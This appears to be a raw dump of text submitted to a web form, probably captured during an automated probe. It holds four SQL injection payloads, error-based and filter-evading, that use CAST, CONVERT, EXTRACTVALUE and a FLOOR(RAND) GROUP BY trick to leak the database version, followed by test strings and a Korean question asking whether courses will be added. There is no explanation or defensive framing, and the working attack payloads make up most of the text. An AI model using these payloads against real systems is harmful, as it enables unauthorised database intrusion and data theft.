'/**/AND/**/1=(SELECT/**/CAST(version()/**/AS/**/int))--
'/**/AND/**/1 BETWEEN C AND CONVERT(int,/**/(SELECT/**/@@version))--
'/**/AND/**/EXTRACTVALUE(1,CONCAT(0x7e,(SELECT/**/@@version),0x7e))--
'/**/AND/**/(SELECT/**/1/**/FROM/**/(SELECT/**/COUNT(*),/**/CONCAT(0x7e,(SELECT/**/@@version),0x7e,FLOOR(RAND(0)*2))x/**/FROM/**/information_schema.tables/**/GROUP/**/BY/**/x)a)--
testmqwr8
test
교육과정 추가 예정 있을까요?
